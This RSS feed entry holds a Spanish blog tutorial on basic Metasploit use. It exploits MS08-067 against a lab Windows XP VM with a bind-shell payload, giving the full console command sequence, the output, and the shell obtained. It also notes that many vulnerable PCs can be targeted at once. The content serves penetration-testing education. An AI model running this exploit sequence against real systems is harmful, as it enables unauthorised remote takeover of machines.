<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>m313 Security Blog &#187; bug</title>
	<atom:link href="http://dmedianero.byethost15.com/blog/tag/bug/feed/" rel="self" type="application/rss+xml" />
	<link>http://dmedianero.byethost15.com/blog</link>
	<description>Diario de un Slacker</description>
	<lastBuildDate>Fri, 05 Mar 2010 10:11:04 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Metasploit: Uso básico y ejecución de exploits</title>
		<link>http://dmedianero.byethost15.com/blog/2009/02/metasploit-uso-basico-y-ejecucion-de-exploits/</link>
		<comments>http://dmedianero.byethost15.com/blog/2009/02/metasploit-uso-basico-y-ejecucion-de-exploits/#comments</comments>
		<pubDate>Fri, 13 Feb 2009 11:47:30 +0000</pubDate>
		<dc:creator>m313</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[metasploit]]></category>

		<guid isPermaLink="false">http://dmedianero.byethost15.com/blog/?p=269</guid>
		<description><![CDATA[Una vez que hemos hablado sobre Metasploit y lo hemos instalado y actualizado  llega el momento de ponerlo en funcionamiento. Hoy vamos a ver el manejo básico de la herramienta y de paso lanzaremos un exploit contra una maquina vulnerable, todo en entorno de laboratorio.
::Manejo Basico::
Para todas las pruebas vamos a utilizar la consola mfs. [...]]]></description>
			<content:encoded><![CDATA[<p>Una vez que hemos hablado sobre Metasploit y lo hemos instalado y actualizado  llega el momento de ponerlo en funcionamiento. Hoy vamos a ver el manejo básico de la herramienta y de paso lanzaremos un exploit contra una maquina vulnerable, todo en entorno de laboratorio.</p>
<p><strong>::Manejo Basico::</strong><br />
Para todas las pruebas vamos a utilizar la consola mfs. Desde Unix accedemos a ella mediante el binario &#8220;<em>mfsconsole</em>&#8220;. Desde Windows podemos acceder mediante la GUI, y una vez abierta haciendo click en <em>Window-&gt;Console</em> o con la combinación de teclas <em>Ctrl+o</em>.<br />
Lo primero que vemos en la consola es un resumen de los exploits, payloads, encoders, etc  cargados en el entorno:</p>
<p><em> ____________<br />
&lt; metasploit &gt;<br />
&#8212;&#8212;&#8212;&#8212;<br />
\   ,__,<br />
\  (oo)____<br />
(__)    )\<br />
||&#8211;|| *</p>
<p>=[ msf v3.2-release<br />
+ -- --=[ 262 exploits - 117 payloads<br />
+ -- --=[ 17 encoders - 6 nops<br />
=[ 46 aux</em></p>
<p>El primer comando que deberíamos probar es "<em>help</em>", que nos muestra los comandos disponibles y una breve explicación de los mismos:</p>
<p><img class="aligncenter size-full wp-image-270" title="mfs_help" src="http://dmedianero.byethost15.com/blog/wp-content/uploads/2009/02/mfs_help.jpg" alt="mfs_help" width="536" height="434" /></p>
<p>Por otro lado tenemos un sistema víctima a auditar. En nuestro caso se trata de un sistema virtual Windows XP que me ha proporcionado <strong>spanic</strong>. Dicho sistema es vulnerable al "<a href="http://dmedianero.byethost15.com/blog/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3RlY2huZXQvc2VjdXJpdHkvQnVsbGV0aW4vTVMwOC0wNjcubXNweA==">Microsoft Security Bulletin MS08-067 – Critical</a>", sobre el que <a href="http://dmedianero.byethost15.com/blog/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2RtZWRpYW5lcm8uYnlldGhvc3QxNS5jb20vYmxvZy8yMDA4LzEwL21zMDgtMDY3LXJlY29waWxhY2lvbi1kZS1yZWN1cnNvcy8=">ya hablé en su dia</a>.<br />
Nos hemos saltado un paso importante: identificar el sistema vulnerable. Habitualmente nadie usa Metasploit para ello aunque como veremos en futuros post es posible realizarlo desde él o importando directamente informes de aplicaciones como <a href="http://dmedianero.byethost15.com/blog/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3d3dy5uZXNzdXMub3JnL25lc3N1cy8=">Nessus</a>.<br />
Para el caso que nos ocupa simplemente tenemos una máquina vulnerable en la IP <em>192.168.60.130</em> y nuestra máquina con el Metasploit instalado y la consola esperando a que explotemos la vulnerabilidad de la víctima.</p>
<p>Volvemos pues a la consola mfs. Es posible navegar los exploits, encoders, payloads, etc con el comando "<em>show</em>". Por ejemplo para listar los exploits disponibles utilizaremos el comando "<em>show exploits</em>", que nos da el siguiente resultado (recortado para un mejor entendimiento):<br />
<em><br />
....<br />
windows/smb/ms06_066_nwwks               Microsoft Services MS06-066 nwwks.dll<br />
windows/smb/ms08_067_netapi              Microsoft Server Service Relative Path Stack Corruption<br />
windows/smb/msdns_zonename               Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)<br />
....</em></p>
<p>Como podemos apreciar el framework tiene disponible un exploit para la vulnerabilidad que queremos explotar (ms08_067_netapi).<br />
Para situarnos en el exploit que queremos lanzar utilizamos el comando "<em>use</em>". Por ejemplo nosotros introduciremos el comando "<em>use windows/smb/ms08_067_netapi</em>". Como vemos el promt ha cambiado:</p>
<p><em> msf &gt; use windows/smb/ms08_067_netapi<br />
msf exploit(ms08_067_netapi) &gt; </em></p>
<p>Ahora necesitamos saber qué opciones permite este exploit y cómo configurarlo, seleccionar el objetivo, etc. En Metasploit esto se realiza mediante la modificación de variables asociadas a cada exploit. Para ver que opciones nos permite configurar un exploit determinado utilizamos el comando "<em>info</em>" (recortado para un mejor entendimiento):</p>
<p><em> msf exploit(ms08_067_netapi) &gt; info</em></p>
<p><em>Name: Microsoft Server Service Relative Path Stack Corruption<br />
Version: 5888<br />
Platform: Windows<br />
Privileged: Yes<br />
License: Metasploit Framework License (BSD)</em></p>
<p><em>Provided by:<br />
hdm &lt;hdm@metasploit.com&gt;<br />
Brett Moore &lt;brett.moore@insomniasec.com&gt;</em></p>
<p><em>Available targets:<br />
Id  Name<br />
--  ----<br />
0   Automatic Targeting<br />
1   Windows 2000 Universal<br />
2   Windows XP SP0/SP1 Universal<br />
3   Windows XP SP2 English (NX)<br />
4   Windows XP SP3 English (NX)<br />
.......</em></p>
<p><em>Basic options:<br />
Name     Current Setting  Required  Description<br />
----     ---------------  --------  -----------<br />
RHOST                     yes       The target address<br />
RPORT    445              yes       Set the SMB service port<br />
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)</em></p>
<p><em>Payload information:<br />
Space: 400<br />
Avoid: 8 characters</em></p>
<p><em>Description:<br />
.....</em></p>
<p><em>References:<br />
.....<br />
</em><br />
Como podemos apreciar tenemos disponibles opciones para seleccionar el objetivo (RHOST), el puerto de smb (RPORT) y el pipe utilizado (SMBPIPE) y se nos informa de si son necesarios u opcionales. También hay abundante información acerca de sobre qué sistemas está probado el exploit, descripción del mismo, referencias, etc.</p>
<p>Para aplicar las opciones utilizamos el comando "<em>set</em>". Este comando recibe como primer parametro la opción y como segundo el valor a aplicar, separados por espacios. Esto quiere decir que si el valor de una variable tiene espacios debemos introducirlo entre comillas dobles. En nuestro caso estableceríamos el objetivo, puerto y pipe con la siguiente secuencia:</p>
<p><em> msf exploit(ms08_067_netapi) &gt; set RHOST 192.168.60.130<br />
RHOST =&gt; 192.168.60.130<br />
msf exploit(ms08_067_netapi) &gt; set RPORT 445<br />
RPORT =&gt; 445<br />
msf exploit(ms08_067_netapi) &gt; set SMBPIPE BROWSER<br />
SMBPIPE =&gt; BROWSER</em></p>
<p>Ahora vamos a configurar el Payload. Vamos a utilizar uno sencillo que sirve para darnos acceso a una linea de comandos en la máquina víctima, si bien hay algunos muy elaborados como por ejemplo la inyección de dll's para conectarnos a la víctima por VNC.<br />
Para ver los payloads disponibles tenemos la opción "show payloads", para elegir el que queremos usamos el comando "<em>set</em>". En nuestro caso:</p>
<p><em> msf exploit(ms08_067_netapi) &gt; set payload windows/shell_bind_tcp<br />
payload =&gt; windows/shell_bind_tcp</em></p>
<p>Ahora con el comando "<em>show options</em>" podemos comprobar que los datos se han introducido correctamente:</p>
<p><em> msf exploit(ms08_067_netapi) &gt; show options</em></p>
<p><em>Module options:</em></p>
<p><em>Name     Current Setting  Required  Description<br />
----     ---------------  --------  -----------<br />
RHOST    192.168.60.130   yes       The target address<br />
RPORT    445              yes       Set the SMB service port<br />
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)</em></p>
<p><em>Payload options (windows/shell_bind_tcp):</em></p>
<p><em>Name      Current Setting  Required  Description<br />
----      ---------------  --------  -----------<br />
EXITFUNC  thread           yes       Exit technique: seh, thread, process<br />
LPORT     4444             yes       The local port<br />
RHOST     192.168.60.130   no        The target address</em></p>
<p><em>Exploit target:</em></p>
<p><em>Id  Name<br />
--  ----<br />
0   Automatic Targeting </em></p>
<p>En este caso solo tenemos un sistema víctima posible (con ID 0), en caso de tener varios elegiríamos con "<em>set target N</em>".<br />
Asímismo algunos exploits permiten la comprobación de la vulnerabilidad sin ejecutarla mediante el comando "<em>check</em>". Este no es el caso por lo que solo nos queda lanzar el exploit, para ello utilizamos el comando "<em>exploit</em>":</p>
<p><em>msf exploit(ms08_067_netapi) &gt; exploit<br />
[*] Started bind handler<br />
[*] Automatically detecting the target&#8230;<br />
[*] Fingerprint: Windows XP Service Pack 2 &#8211; lang:Spanish<br />
[*] Selected Target: Windows XP SP2 Spanish (NX)<br />
[*] Triggering the vulnerability&#8230;<br />
[*] Command shell session 1 opened (192.168.60.1:5953 -&gt; 192.168.60.130:4444)</em></p>
<p><em>Microsoft Windows XP [Versi?n 5.1.2600]<br />
(C) Copyright 1985-2001 Microsoft Corp.</em></p>
<p>El sistema es nuestro <img src='http://dmedianero.byethost15.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Lo comprobamos ejecutando comandos sobre la shell que acabamos de obtener:</p>
<p><em>C:\WINDOWS\system32&gt;ipconfig /all<br />
ipconfig /all</em></p>
<p><em>Configuraci?n IP de Windows</em></p>
<p><em>Nombre del host . . . . . . . . . : spanic-08bcbab7<br />
Sufijo DNS principal  . . . . . . :<br />
Tipo de nodo. . . . . . . . . . . : mixto<br />
Enrutamiento habilitado. . . . . .: No<br />
Proxy WINS habilitado. . . . .    : No<br />
Lista de b?squeda de sufijo DNS:    localdomain</em></p>
<p><em>Adaptador Ethernet Conexi?n de ?rea local          :</em></p>
<p><em>Sufijo de conexi?n espec?fica DNS : localdomain<br />
Descripci?n. . . . . . . . . . .  : VMware Accelerated AMD PCNet Adapter<br />
Direcci?n f?sica. . . . . . . . . : 00-0C-29-32-66-B3<br />
DHCP habilitado. . . . . . . . .  : No<br />
Autoconfiguraci?n habilitada. . . : S?<br />
Direcci?n IP. . . . . . . . . . . : 192.168.60.130<br />
M?scara de subred . . . . . . . . : 255.255.255.0<br />
Puerta de enlace predeterminada   : 192.168.60.2<br />
Servidor DHCP . . . . . . . . . . : 192.168.60.254<br />
Servidores DNS . . . . . . . . . .: 192.168.60.2<br />
Servidor WINS principal . . . . . : 192.168.60.2<br />
Concesi?n obtenida . . . . . . .  : mi?rcoles, 11 de febrero de 2009 11:49:35<br />
Concesi?n expira . . . . . . . . .: mi?rcoles, 11 de febrero de 2009 12:19:35</em></p>
<p><em>C:\WINDOWS\system32&gt;</em><br />
A destacar que hemos introducido las opciones para un objetivo concreto pero ¿y si tengo una lista de 50 pc&#8217;s con la misma vulnerabilidad y quiero explotarlos todos? ¿tengo que ir uno por uno ? Evidentemente la respuesta es no. En Metasploit podemos definir variables globales.<br />
Para volver a la pantalla inicial tenemos el comando &#8220;<em>back</em>&#8220;. Una vez en la pantalla inicial podemos definir variables globales con el comando &#8220;<em>setg</em>&#8220;. Si por ejemplo queremos definir globalmente que el payload sea el que utilizamos en esta ocasión utilizamos:</p>
<p><em> msf &gt; setg payload windows/shell_bind_tcp<br />
payload =&gt; windows/shell_bind_tcp</em><em></em></p>
<p>Después con &#8220;setg&#8221; comprobamos qué variables globales tenemos definidas con sus correspondientes valores:</p>
<p><em>msf &gt; setg</em></p>
<p><em>Global<br />
======</em></p>
<p><em>Name     Value<br />
&#8212;-     &#8212;&#8211;<br />
payload  windows/shell_bind_tcp </em></p>
<p>Si queremos guardar nuestras variables globales para que se queden incluso después de cerrar el Metasploit usamos el comando &#8220;<em>save</em>&#8220;:</p>
<p><em> msf &gt; save<br />
Saved configuration to: C:\Documents and Settings\dmedianero\Datos de programa/.msf3/config</em></p>
<p>Como podemos ver el framework nos informa de dónde queda guardada dicha configuración, es un fichero de texto en formato simple.<br />
Hasta aqui lo que probablemente todos los que usáis Metasploit hayáis utilizado habitualmente, a partir de ahora intentaré poco a poco escribir sobre usos menos comunes y muy utiles como el manejo de jobs, uso otros payloads, BBDD, etc.</p>
<p class="akst_link"><a href="http://dmedianero.byethost15.com/blog/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2RtZWRpYW5lcm8uYnlldGhvc3QxNS5jb20vYmxvZy8/cD0yNjkmYW1wO2Frc3RfYWN0aW9uPXNoYXJlLXRoaXM="  title=\"E-mail this, post to del.icio.us, etc.\" id=\"akst_link_269\" class=\"akst_share_link\" rel=\"nofollow\">Compártelo</a>
</p> <img src="http://dmedianero.byethost15.com/blog/wp-content/plugins/feed-statistics.php?view=1&post_id=269" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://dmedianero.byethost15.com/blog/2009/02/metasploit-uso-basico-y-ejecucion-de-exploits/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
